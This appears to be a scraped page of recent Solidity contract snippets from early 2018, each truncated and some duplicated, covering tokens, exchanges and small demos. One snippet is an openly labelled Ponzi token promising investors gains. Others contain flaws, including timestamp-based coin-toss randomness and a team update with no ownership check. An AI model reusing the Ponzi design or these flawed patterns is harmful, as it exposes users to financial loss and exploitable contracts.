Feb 01, 2018 23:32:00 UTC
// Contract address: 0xaBeBf8931C4fFE1b996398d6cB3e86510726E713
// Contract name: ExpectedRate
// Etherscan link: https://etherscan.io/address/0xaBeBf8931C4fFE1b996398d6cB3e86510726E713#code
pragma solidity 0.4.18;

interface KyberReserveInterface {

    function trade(
        ERC20 srcToken,
        uint srcAmount,
        ERC20 destToken,
        address destAddress,
        uint conversionRate,
        bool validate
    )
        public
        payable
        returns(bool);

    function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint);
}

contract Utils {

    ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
    uint  constant internal PRECISION = (10**18);
    uint  constant internal MAX_QTY   = (10**28); // 10B tokens
    uint  constant internal MAX_RATE  = (PRECISION * 10**6); // up to 1M tokens per ETH
    uint  constant internal MAX_DECIMALS = 18;
    uint  constant internal ET
Feb 01, 2018 22:00:24 UTC
// Contract address: 0xa61c86eea36c9ebe51b70c4a77ecbce0a6078d02
// Contract name: TrueloveCore
// Etherscan link: https://etherscan.io/address/0xa61c86eea36c9ebe51b70c4a77ecbce0a6078d02#code
pragma solidity ^0.4.18;

contract Ownable {
  address public owner;

  function Ownable() public {
    owner = msg.sender;
  }

  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }

  function transferOwnership(address newOwner) public onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }
}

contract Pausable is Ownable {
  event Pause();
  event Unpause();

  bool public paused = false;

  modifier whenNotPaused() {
    require(!paused);
    _;
  }

  modifier whenPaused {
    require(paused);
    _;
  }

  function pause() public onlyOwner whenNotPaused returns (bool) {
    paused = true;
    Pause();
    return true;
  }

  function unpause() public onlyOwner whenPaused returns (bool) {
    paused = false;
    Unpause();
    retur
Feb 01, 2018 21:04:14 UTC

pragma solidity ^0.4.18;
// Hash something  and then hash it plus one
//  Test by using 2 numbers 1 apart in right order 
//  ie 99 and 100

contract HashAnumber {


uint plusNumber;

// Constructor
function HashAnumber() public  {
plusNumber = 1;

}



function HashSameNumberplusOne(uint enterAnumber) public pure returns(uint) {
uint hashOut = uint(keccak256(enterAnumber+1));
return hashOut;

}
function EnterMynumber(uint enterAnumber) public pure returns(uint) {
uint hashOut = uint(keccak256(enterAnumber));
        return hashOut;

}

Feb 01, 2018 20:38:34 UTC

pragma solidity ^0.4.18;
// Hash something  and then hash it plus one
//  Test by using 2 numbers 1 apart in right order 
//  ie 99 and 100

contract HashAnumber {


uint plusNumber;

// Constructor
function HashAnumber() public  {
plusNumber = 1;

}



function HashSameNumberplusOne(uint enterAnumber) public pure returns(uint) {
uint hashOut = uint(keccak256(enterAnumber+1));
return hashOut;

}
function EnterMynumber(uint enterAnumber) public pure returns(uint) {
uint hashOut = uint(keccak256(enterAnumber));
        return hashOut;

}

Feb 01, 2018 20:34:22 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f
Feb 01, 2018 18:56:49 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract HashaNumber {

  function HashMeaNumber(uint _value) public pure returns (uint) {
    uint hashNum = uint(keccak256(_value));
  

    return hashNum;
  }

  
Feb 01, 2018 15:29:18 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract TeamManagement {
    struct Team {
        uint16[11] players; // EXPENSIVE!
        int16 pointsDiff;
        uint8 budget;
    }
    Team[] public teams;
    mapping (uint256 => address) public teamIndexToOwner;
    
    function addTeam(uint16[11] players) public {
        uint256 _newTeamId = teams.push(Team({
           players: players,
           pointsDiff: 0,
           budget: 3
        }));
        teamIndexToOwner[_newTeamId] = msg.sender;
    }
}
Feb 01, 2018 11:23:36 UTC
pragma solidity 0.4.18;


/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

interface token {
    function transfer(address receiver, uint amount) public;
}


/**
 * @title Ownable
 * @dev The
Feb 01, 2018 09:22:40 UTC
pragma solidity 0.4.18;


/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

interface token {
    function transfer(address receiver, uint amount) public;
}


/**
 * @title Ownable
 * @dev The
Feb 01, 2018 09:17:46 UTC
pragma solidity ^0.4.11;

interface AAVTokenInterface {
    function transfer(address _receiver, uint256 _amount);
}

contract AAVICOContract {

    uint public buyPrice;

    AAVTokenInterface public token;

    function AAVICOContract(AAVTokenInterface _token){
        token = _token;
        buyPrice = 10000;
    }

    function () payable {
        _buy(msg.sender, msg.value);
    }

    function buy() payable returns (uint) {
        uint tokens = _buy(msg.sender, msg.value);
        return tokens;
    }

    function _buy(address _sender, uint256 _amount) internal returns (uint){
        uint tokens = _amount / buyPrice;
        token.transfer(_sender, tokens);
        return tokens;
    }
}
Feb 01, 2018 08:37:53 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Feb 01, 2018 08:13:40 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract CoinToss{
  string public player1;
  string public player2;
  uint private tossDeadline;
  uint current;
  bool tossed;
  string result;

  event winner(string,string);
  
  function CoinToss(string _player1, string _player2){
    player1=_player1;
    player2=_player2;
    tossDeadline= 6 seconds;
    tossed=false;
  }
  function Toss() public{
    current = now;
    tossed=true;
  }
  function captureInputs(string _input1, string _input2) public{
    getWinner(_input1,  _input2);
  }
  function getWinner(string _input1,string _input2) returns(string){
    uint _current=now;
    if((current-_current)%2==0){
      result="heads";
    }
    else{
      result="tails";
    }
    if(keccak256(result)==keccak256(_input1)){
      winner("And the winner is:",player1);
      return "Winner is Player 1";
    }
    else if(keccak256(result)==keccak256(_input2)){
      winner("And the winner is:",pl
Feb 01, 2018 02:05:33 UTC
pragma solidity ^0.4.18;

// If you wanna escape this contract REALLY FAST
// 1. open MEW/METAMASK
// 2. Put this as data: 0xb1e35242
// 3. send 150000+ gas
// That calls the getMeOutOfHere() method

// Wacky version, 0-1 tokens takes 10eth (should be avg 200% gains), 1-2 takes another 30eth (avg 100% gains), and beyond that who the fuck knows but it's 50% gains
// 10% fees, price goes up crazy fast
contract PonziTokenV3 {
	uint256 constant PRECISION = 0x10000000000000000;  // 2^64
	// CRR = 80 %
	int constant CRRN = 1;
	int constant CRRD = 2;
	// The price coefficient. Chosen such that at 1 token total supply
	// the reserve is 0.8 ether and price 1 ether/token.
	int constant LOGC = -0x296ABF784A358468C;
	
	string constant public name = "ProofOfWeakHands";
	string constant public symbol = "POWH";
	uint8 constant public decimals = 18;
	uint256 public totalSupply;
	// amount of shares for each address (scaled number)
	mapping(address => uint256) public balanceOfOld;
	// allowance map, see erc20
	mapping(addres
Jan 31, 2018 23:02:15 UTC
// Contract address: 0x7675de10fe92ec4661438d0b502bcf280898c043
// Contract name: EternalStorage
// Etherscan link: https://etherscan.io/address/0x7675de10fe92ec4661438d0b502bcf280898c043#code
pragma solidity ^0.4.18;


contract Ownable {

    address public owner;
    address public acceptableAddress;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function Ownable() public {
        owner = msg.sender;
        acceptableAddress = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    modifier onlyAcceptable() {
        require(msg.sender == acceptableAddress);
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));
        OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }

    function transferAcceptable(address newAcceptable) public onlyOwner {
        require(newAcceptable != address(0));
Jan 31, 2018 22:40:14 UTC
pragma solidity ^0.4.18;

contract Players {

    struct Player {
        uint8 score;
        uint8 transferValue;
        uint8 position;
    }

    mapping (uint16 => Player) public playerIdIndexToPlayer;

    function setPlayer(
      uint16 playerId,
      uint8 score,
      uint8 transferValue,
      uint8 position
      ) public {
        playerIdIndexToPlayer[playerId] = Player({
            score: score,
            transferValue: transferValue,
            position: position
        });
    }
}
Jan 31, 2018 17:05:58 UTC
pragma solidity ^0.4.18;

contract SuperSimpleTeamManager {
    struct Team {
        bytes32 players;
        uint16 points;
    }
    Team[] teams;
    
    mapping (uint256 => address) teamIndexToOwner;
    
    function addTeam(bytes32 players) public {
        uint256 newTeamId = teams.push(Team({
            players: players,
            points: 0
        }));
        teamIndexToOwner[newTeamId] = msg.sender;
    }
    
    function updateTeam(bytes32 players, uint256 teamId) public {
        teams[teamId].players = players;
    }
Jan 31, 2018 17:03:32 UTC
pragma solidity ^0.4.18;


/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMathPrecision {
  struct Precision { uint8 p; }

  function setPrecision(Precision storage self, uint8 p) internal {
    self.p=p;
  }
  function convertFromNoPrecision(Precision storage self, uint256 v) internal view returns(uint256){
    return mul(v, 10**uint256(self.p));
  }
  function convertToNoPrecision(Precision storage self, uint256 v) internal view returns(uint256){
    return div(v, 10**uint256(self.p));
  }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }
  /**
  * @dev Multiplies two numbers, throws on overflow.
  */
  function mul(Precision storage self, uint256 a, uint256 b) internal view returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return div(c, 10**uint256(self.p));
  }

  /
Jan 31, 2018 16:31:18 UTC
pragma solidity ^0.4.11;

contract AAVToken_test {

    string public constant name = "Aleksandr Volkov Token Test";
    string public constant symbol = "AVTT";
    uint8 public constant decimals = 18;

    uint public totalSupply = 0;

    mapping(address => uint256) public balanceOf;

    function AAVToken_test(uint256 _supply){
        totalSupply = _supply;
        balanceOf[msg.sender] = _supply;
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {
        require(balanceOf[msg.sender] >= _value);
        require(balanceOf[_to] + _value >= balanceOf[_to]);

        balanceOf[msg.sender] -= _value;
        balanceOf[_to] += _value;

        Transfer(msg.sender, _to, _value);
        return true;
    }

    event Transfer(address indexed _from, address indexed _to, uint _value);

    event Approval(address indexed _owner, address indexed _spender, uint _value);
}
Jan 31, 2018 16:24:23 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

pragma solidity ^0.4.18;


/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMathPrecision {
  struct Precision { uint8 p; }

  function setPrecision(Precision storage self, uint8 p) internal {
    self.p=p;
  }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }
  /**
  * @dev Multiplies two numbers, throws on overflow.
  */
  function mul(Precision storage self, uint256 a, uint256 b) internal view returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return div(c, 10**uint256(self.p));
  }

  /**
  * @dev Integer division of two numbers, truncating the quotient.
  */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // So
Jan 31, 2018 15:54:39 UTC
pragma solidity ^0.4.18;

contract Controlled {
    /// @notice The address of the controller is the only address that can call
    ///  a function with this modifier
    modifier onlyController { require(msg.sender == controller); _; }

    address public controller;

    function Controlled() public { controller = msg.sender;}

    /// @notice Changes the controller of the contract
    /// @param _newController The new controller of the contract
    function changeController(address _newController) public onlyController {
        controller = _newController;
    }
}

pragma solidity ^0.4.18;

/// @dev The token controller contract must implement these functions
contract TokenController {
    /// @notice Called when `_owner` sends ether to the MiniMe Token contract
    /// @param _owner The address that sent the ether to create tokens
    /// @return True if the ether is accepted, false if it throws
    function proxyPayment(address _owner) public payable returns(bool);

    /// @notice Notifies the controll
Jan 31, 2018 14:23:18 UTC
/* This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/. */

pragma solidity ^0.4.19; // solhint-disable-line compiler-fixed


interface ITokenRecipient {
    function tokensReceived(
        address from,
        address to,
        uint amount,
        bytes userData,
        address operator,
        bytes operatorData
    ) public;
}

/* This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/. */

pragma solidity ^0.4.19; // solhint-disable-line compiler-fixed


interface Ierc777 {
    function name() public constant returns (string);
    function symbol() public constant returns (string);
    function totalSupply() public constant returns (uint256);
    function granularity() public constant returns (uint256);
    function
Jan 31, 2018 14:21:36 UTC
pragma solidity ^0.4.18;


/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {

  /**
  * @dev Multiplies two numbers, throws on overflow.
  */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  /**
  * @dev Integer division of two numbers, truncating the quotient.
  */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  /**
  * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
  */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  /**
  * @dev Adds two numbers, throws on overflow.
  */
  function add(uin
Jan 31, 2018 13:44:52 UTC
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/issues/20
pragma solidity ^0.4.18;


contract EIP20Interface {
    /* This is a slight change to the ERC20 base standard.
    function totalSupply() constant returns (uint256 supply);
    is replaced with:
    uint256 public totalSupply;
    This automatically creates a getter function for the totalSupply.
    This is moved to the base contract since public getter functions are not
    currently recognised as an implementation of the matching abstract
    function by the compiler.
    */
    /// total amount of tokens
    uint256 public totalSupply;

    /// @param _owner The address from which the balance will be retrieved
    /// @return The balance
    function balanceOf(address _owner) public view returns (uint256 balance);

    /// @notice send `_value` token to `_to` from `msg.sender`
    /// @param _to The address of the recipient
    /// @param _value The amount of token to be transferred
    /// @return Whethe
Jan 31, 2018 13:41:27 UTC
/*
file:   Exchange.sol


Exchange functionality for fiat pegged token 

*/

pragma solidity ^0.4.13;

contract FiatPeggedToken
{

/* Events */

/* Structs */

/* Constants */

/* State Valiables */
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public sizeOf;
address public admin_addr;


 /* This creates an array with all balances */
    mapping (address => uint256) public balanceOf;
    
    mapping (address => mapping (address => uint256)) public allowance;

/* This generates a public event on the blockchain that will notify clients */
    event Transfer(address from, address to, uint256 value);
    
/* This notifies clients about the amount burnt */  
    event Burn(address from, uint256 value);
    
  
/* This generates a public event on the blockchain that will notify clients of new Makwacha being issued*/
    event Issue(address from, address to, uint256 value);
    
     event ApprovedToIssue(address,address,uint);
     
     event Approval(address
Jan 31, 2018 10:11:59 UTC
pragma solidity ^0.4.18;


contract FUTR {

    uint256 constant MAX_UINT256 = 2**256 - 1;
    
    uint256 MAX_SUBMITTED = 500067157619455000000000;

    // (no premine)
    uint256 _totalSupply = 0;
    
    // The following 2 variables are essentially a lookup table.
    // They are not constant because they are memory.
    // I came up with this because calculating it was expensive,
    // especially so when crossing tiers.
    
    // Sum of each tier by ether submitted.
   uint256[] levels = [ 
      8771929824561400000000,
     19895525330179400000000,
     37350070784724800000000,
     64114776667077800000000,
     98400490952792100000000,
    148400490952792000000000,
    218400490952792000000000,
    308400490952792000000000,
    415067157619459000000000,
    500067157619455000000000
    ];
    
    // Token amounts for each tier.
    uint256[] ratios = [
      114,
      89,
      55,
      34,
      21,
      13,
       8,
       5,
       3,
       2 ];
     
    // total ether submitted before f
Jan 30, 2018 23:52:01 UTC
// Contract address: 0xa4e53ebcdd4360d9f7c367623b43a92f6e41ef9e
// Contract name: HeartBoutToken
// Etherscan link: https://etherscan.io/address/0xa4e53ebcdd4360d9f7c367623b43a92f6e41ef9e#code
pragma solidity ^0.4.18;
/**
 * @title ERC20Basic
 * @dev Simpler version of ERC20 interface
 * @dev see https://github.com/ethereum/EIPs/issues/179
 */
contract ERC20Basic {
  uint256 public totalSupply;
  function balanceOf(address who) public constant returns (uint256);
  function transfer(address to, uint256 value) public returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }
  function add(u
Jan 30, 2018 21:24:15 UTC